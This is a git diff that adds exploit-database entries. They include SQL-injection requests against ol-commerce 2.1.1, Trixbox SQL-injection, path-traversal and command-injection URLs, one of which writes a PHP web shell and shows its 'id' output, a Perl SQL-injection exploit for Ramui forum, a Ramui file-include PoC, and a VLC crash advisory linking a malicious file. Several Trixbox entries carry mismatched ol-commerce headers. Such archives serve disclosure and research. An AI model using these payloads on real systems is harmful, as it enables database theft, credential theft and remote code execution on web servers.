@ -0,0 +1,38 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/OL-Commerce/create_account.php
|
||||
|
||||
POST /OL-Commerce/create_account.php HTTP/1.1
|
||||
Host: www.example.com
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
|
||||
Firefox/26.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://www.example.com/OL-Commerce/create_account.php
|
||||
Cookie:
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 301
|
||||
|
||||
|
||||
action=process&gender=m&firstname=aaaaa&lastname=bbbb
|
||||
&dob=17.05.1991&email_address=email@hotmail.com
|
||||
&company=ccc&vat=1234&street_address=dddd&suburb=eeee
|
||||
&postcode=00961&city=fffff&state=gggggg
|
||||
&country=118[SQL
|
||||
INJECTION]&telephone=45345325&fax=234234&password=12121212&confirmation=12121212&x=28&y=4
|
||||
|
||||
[NOTE]
|
||||
------
|
||||
country=118[SQL INJECTION]=118' and (select 1 from (select
|
||||
count(*),concat((select(select
|
||||
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
|
||||
information_schema.tables limit 0,1),floor(rand(0)*2))x from
|
||||
information_schema.tables group by x)a) and 1=1-- -
|
39
platforms/php/webapps/39346.txt
Executable file
39
platforms/php/webapps/39346.txt
Executable file
|
@ -0,0 +1,39 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/OL-Commerce/admin/create_account.php?action=edit
|
||||
|
||||
POST /OL-Commerce/admin/create_account.php?action=edit HTTP/1.1
|
||||
Host: www.example.com
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
|
||||
Firefox/26.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer:
|
||||
http://www.example.com/OL-Commerce/admin/create_account.php?action=edit
|
||||
Cookie:
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 301
|
||||
|
||||
default_address_id=&customers_gender=m&csID=100&customers_firstname=aaaa
|
||||
&customers_lastname=bbbb&customers_email_address=email@hotmail.com
|
||||
&entry_company=cccc&customers_vat_id=1212&entry_street_address=dddd
|
||||
&entry_postcode=00961&entry_city=eeee&entry_country_id=118[SQL INJECTION]
|
||||
&customers_telephone=12121233&customers_fax=23421424&status=0
|
||||
&customers_mail=yes&payment_unallowed=&shipping_unallowed=
|
||||
&entry_password=12121212&mail_comments=
|
||||
|
||||
[NOTE]
|
||||
------
|
||||
entry_country_id=118[SQL INJECTION]=118' and (select 1 from (select
|
||||
count(*),concat((select(select
|
||||
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
|
||||
information_schema.tables limit 0,1),floor(rand(0)*2))x from
|
||||
information_schema.tables group by x)a) and 1=1-- -
|
12
platforms/php/webapps/39347.txt
Executable file
12
platforms/php/webapps/39347.txt
Executable file
|
@ -0,0 +1,12 @@
|
|||
source: http://www.securityfocus.com/bid/68720/info
|
||||
|
||||
Trixbox is prone to the following security vulnerabilities:
|
||||
|
||||
1. An SQL-injection vulnerability
|
||||
2. A cross-site scripting vulnerability
|
||||
3. Multiple local file-include vulnerabilities
|
||||
4. A remote code-execution vulnerability
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, to steal cookie-based authentication credentials, exploit latent vulnerabilities in the underlying database or perform certain unauthorized actions and gain access to the affected application.
|
||||
|
||||
Http://www.example.com/maint/modules/endpointcfg/endpoint_generic.php?action=Submit&mac=1' and 1=2 union select 1,2,3,4,5,6-- -
|
9
platforms/php/webapps/39348.txt
Executable file
9
platforms/php/webapps/39348.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
Http://www.example.com/maint/modules/home/index.php?lang=../../../../../../../../etc/passwd%00
|
9
platforms/php/webapps/39349.txt
Executable file
9
platforms/php/webapps/39349.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
Http://www.example.com/maint/modules/asterisk_info/asterisk_info.php?lang=../../../../../../../../etc/passwd%00
|
9
platforms/php/webapps/39350.txt
Executable file
9
platforms/php/webapps/39350.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
Http://www.example.com/maint/modules/repo/repo.php?lang=../../../../../../../../etc/passwd%00
|
9
platforms/php/webapps/39351.txt
Executable file
9
platforms/php/webapps/39351.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
Http://www.example.com/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00
|
16
platforms/php/webapps/39352.txt
Executable file
16
platforms/php/webapps/39352.txt
Executable file
|
@ -0,0 +1,16 @@
|
|||
source: http://www.securityfocus.com/bid/68719/info
|
||||
|
||||
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
Http://www.example.com/maint/modules/home/index.php?lang=MF;echo "<?php
|
||||
system(\$_GET['cmd']);?> \$Greats 2 MY=\"Love:D">shell.php
|
||||
|
||||
Your Shell
|
||||
|
||||
Http://www.example.com/maint/modules/home/shell.php?cmd=id
|
||||
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk) $Greats 2
|
||||
MY="Love:D
|
96
platforms/php/webapps/39354.pl
Executable file
96
platforms/php/webapps/39354.pl
Executable file
|
@ -0,0 +1,96 @@
|
|||
# Title: Ramui forum script 9.0 SQL Injection Exploit
|
||||
# Author: bd0rk
|
||||
# Twitter: twitter.com/bd0rk
|
||||
# Vendor: http://www.ramui.com/
|
||||
# Download: http://ramui.com/forum-script/download-v9.html
|
||||
# Google-Dork: n/a --->Script-Kiddie protection! :)
|
||||
# Direct SQL-Path: n/a --->Script-Kiddie protection! :)
|
||||
|
||||
# Description: I've found a sql-injection vulnerability in this web-software.
|
||||
# The vulnerable code is in /gb/include/page.php
|
||||
# The problem is the GET-pagename.
|
||||
# An attacker can use this exploitcode for unfiltered sql-queries.
|
||||
|
||||
|
||||
|
||||
|
||||
# Vuln-Code in /gb/include/page.php:
|
||||
#************************************************************************************************************************************
|
||||
# <?php
|
||||
# if(isset($_GET['pagename'])){
|
||||
# $name=$_GET['pagename'];
|
||||
# $query=sprintf("SELECT* FROM ".PREFIX."page WHERE pagename = '%s' AND publish = 'Y'",$xx_con->real_escape_string($name));
|
||||
# }
|
||||
#************************************************************************************************************************************
|
||||
|
||||
|
||||
|
||||
# [+]PERL-EXPLOITCODE(Copy&Paste):
|
||||
|
||||
|
||||
#!/usr/bin/perl
|
||||
|
||||
print q{
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
+ +
|
||||
+ Ramui forum script 9.0 SQL Injection Exploit +
|
||||
+ +
|
||||
+ bd0rk || SOH-Crew +
|
||||
+ +
|
||||
+ Greetings from cold Germany +
|
||||
+ +
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
};
|
||||
|
||||
use IO::Socket;
|
||||
|
||||
print q{
|
||||
=> Insert URL
|
||||
=> without ( http )
|
||||
=> };
|
||||
$server = <STDIN>;
|
||||
chop ($server);
|
||||
print q{
|
||||
=> Insert directory
|
||||
=> es: /forum/ - /ramui/
|
||||
=> };
|
||||
$dir = <STDIN>;
|
||||
chop ($dir);
|
||||
print q{
|
||||
=> User ID
|
||||
=> Number:
|
||||
=> };
|
||||
$user = <STDIN>;
|
||||
chop ($user);
|
||||
if (!$ARGV[2]) {
|
||||
}
|
||||
$myuser = $ARGV[3];
|
||||
$mypass = $ARGV[4];
|
||||
$myid = $ARGV[5];
|
||||
$server =~ s/(http:\/\/)//eg;
|
||||
$path = $dir;
|
||||
$path .= "gb/include/page.php?pagename=[sqlInjectionCodeHERE]".$user ;
|
||||
print "
|
||||
=> Exploit in process...\r\n";
|
||||
$socket = IO::Socket::INET->new(
|
||||
Proto => "tcp",
|
||||
PeerAddr => "$server",
|
||||
PeerPort => "80") || die "Exploit failed";
|
||||
print "Exploit\r\n";
|
||||
print "in process...\r\n";
|
||||
print $socket "GET $path HTTP/1.1\r\n";
|
||||
print $socket "Host: $server\r\n";
|
||||
print $socket "Accept: */*\r\n";
|
||||
print $socket "Connection: close\r\n\r\n";
|
||||
print "Exploit finished!\r\n\r\n";
|
||||
while ($answer = <$socket>)
|
||||
{
|
||||
if ($answer =~/(\w{32})/)
|
||||
{
|
||||
if ($1 ne 0) {
|
||||
print "MD5-Hash is: ".$1."\r\n";
|
||||
}
|
||||
exit();
|
||||
}
|
||||
}
|
33
platforms/php/webapps/39355.txt
Executable file
33
platforms/php/webapps/39355.txt
Executable file
|
@ -0,0 +1,33 @@
|
|||
# Title: Ramui web hosting directory script 4.0 Remote File Include Vulnerability
|
||||
# Author: bd0rk
|
||||
# Twitter: twitter.com/bd0rk
|
||||
# Vendor: http://www.ramui.com
|
||||
# Download: http://ramui.com/directory-script/download-v4.html
|
||||
|
||||
Proof-of-Concept:
|
||||
/gb/include/connection.php lines 6-13 in php-sourcecode
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
class connection
|
||||
{
|
||||
protected $site;
|
||||
public $error=false;
|
||||
protected $admin=false;
|
||||
function __construct($root)
|
||||
{
|
||||
include $root."database/config.php";
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
The $root-parameter is a __construct.
|
||||
But no value was passed to him.
|
||||
Therefore, nothing can be checked before include in line 13.
|
||||
So an attacker can execute malicious shellcode about it.
|
||||
In this case, the __construct is meaningless.
|
||||
|
||||
|
||||
[+]Exploit: http://[server]/path/gb/include/connection.php?root=[YourShellcode]
|
||||
|
||||
|
||||
~~Everything revolves. Even the planet. :)~~
|
||||
***Greetz to ALL my followers on Twitter!***
|
||||
|
||||
/bd0rk
|
64
platforms/windows/dos/39353.txt
Executable file
64
platforms/windows/dos/39353.txt
Executable file
|
@ -0,0 +1,64 @@
|
|||
#####################################################################################
|
||||
|
||||
Application: VLC media player
|
||||
|
||||
Platforms: Windows
|
||||
|
||||
Versions: Version 2.2.1
|
||||
|
||||
Author: Francis Provencher of COSIG
|
||||
|
||||
Website: http://www.protekresearchlab.com/
|
||||
|
||||
Twitter: @COSIG_
|
||||
|
||||
#####################################################################################
|
||||
|
||||
1) Introduction
|
||||
2) Report Timeline
|
||||
3) Technical details
|
||||
4) POC
|
||||
|
||||
#####################################################################################
|
||||
|
||||
===============
|
||||
1) Introduction
|
||||
===============
|
||||
|
||||
VLC media player (commonly known as VLC) is a portable, free and open-source, cross-platform media player andstreaming media server written by the VideoLAN project. VLC is available for desktop operating systems as also mobile platforms as Android, iPad, iPhone, and iPod Touch. VLC is also available on App stores such as Apple’s App Store. VLC media player supports many audio and video compression methods and file formats, including DVD-Video, video CD and streaming protocols. It is able to stream media over computer networks and to transcode multimedia files.[10]
|
||||
|
||||
(https://en.wikipedia.org/wiki/VLC_media_player)
|
||||
|
||||
#####################################################################################
|
||||
|
||||
============================
|
||||
2) Report Timeline
|
||||
============================
|
||||
|
||||
2016-01-26: Francis Provencher from Protek Research Lab’s report the issue to VLC;
|
||||
2016-01-27: Publication of this advisory;
|
||||
|
||||
#####################################################################################
|
||||
|
||||
============================
|
||||
3) Technical details
|
||||
============================
|
||||
|
||||
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of VLC.
|
||||
|
||||
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
|
||||
|
||||
An heap memory corruption occured when VLC parsed an malformed MPEG-4 file that contain an invalid Sample Table and Sample Description (STSD) Atoms size. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process.
|
||||
|
||||
#####################################################################################
|
||||
|
||||
===========
|
||||
|
||||
4) POC
|
||||
|
||||
===========
|
||||
|
||||
http://protekresearchlab.com/exploits/COSIG-2016-03.mp4
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39353.zip
|
||||
|
||||
###############################################################################
|
Loading…
Add table
Reference in a new issue